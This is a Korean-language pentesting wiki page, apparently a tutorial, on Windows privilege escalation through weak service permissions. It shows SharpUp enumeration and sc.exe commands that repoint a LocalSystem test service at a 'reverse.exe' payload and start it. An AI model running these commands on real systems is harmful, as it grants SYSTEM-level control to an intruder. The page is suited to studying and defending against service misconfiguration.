Weak Service Permissions

장악한 머신에서 서비스가 실행될 때, 서비스의 바이너리 경로를 변조할 권한이 있다면 서비스가 실행될 때 정상적인 프로세스가 아닌, 권한 상승을 가능케 하는 프로세스를 삽입할 수 있습니다.

SharpUp.exe는 취약한 서비스들을 탐색하는 여러 모듈을 지원하지만, 기본적으로 디펜더에 감지됩니다.

SharpUp을 사용하면 바이너리 경로를 변조할 수 있는 서비스 목록을 나열할 수 있습니다.

PS C:> .\SharpUp.exe audit ModifiableServices

=== SharpUp: Running Privilege Escalation Checks ===
...
        Service 'VulnServiceTest' (State: Stopped, StartMode: Manual)

나열된 서비스 중 VulnServiceTest의 경우 바이너리 경로를 변조할 수 있는 취약한 서비스입니다. 내장된 sc.exe를 사용하여 해당 서비스의 바이너리 경로를 변조 후, 실행하여 권한 상승을 합니다. 간혹 sc.exe config 기능에서 binPath에 대한 인자를 입력할 때 경로 앞에 공백을 줘야하는 경우도 있습니다.

# 변경 전 서비스 바이너리 경로 확인
PS C:\> sc.exe qc VulnServiceTest
[SC] QueryServiceConfig 성공

SERVICE_NAME: VulnServiceTest
        종류               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\notepad.exe
        LOAD_ORDER_GROUP   :
        태그                : 0
        DISPLAY_NAME       : Vulnerable Test Service
        종속성       :
        SERVICE_START_NAME : LocalSystem

# 서비스 바이너리 변경
PS C:\> sc.exe config VulnServiceTest binPath="C:\Users\Mick3y\AppData\Local\Temp\reverse.exe"
[SC] ChangeServiceConfig 성공

# 변경 후 서비스 바이너리 경로 확인
PS C:\> sc.exe qc VulnServiceTest
[SC] QueryServiceConfig 성공

SERVICE_NAME: VulnServiceTest
        종류               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\Mick3y\AppData\Local\Temp\reverse.exe
        LOAD_ORDER_GROUP   :
        태그                : 0
        DISPLAY_NAME       : Vulnerable Test Service
        종속성       :
        SERVICE_START_NAME : LocalSystem
        
# 변경된 서비스 실행
PS C:\> sc.exe start VulnServiceTest

Last updated

Was this helpful?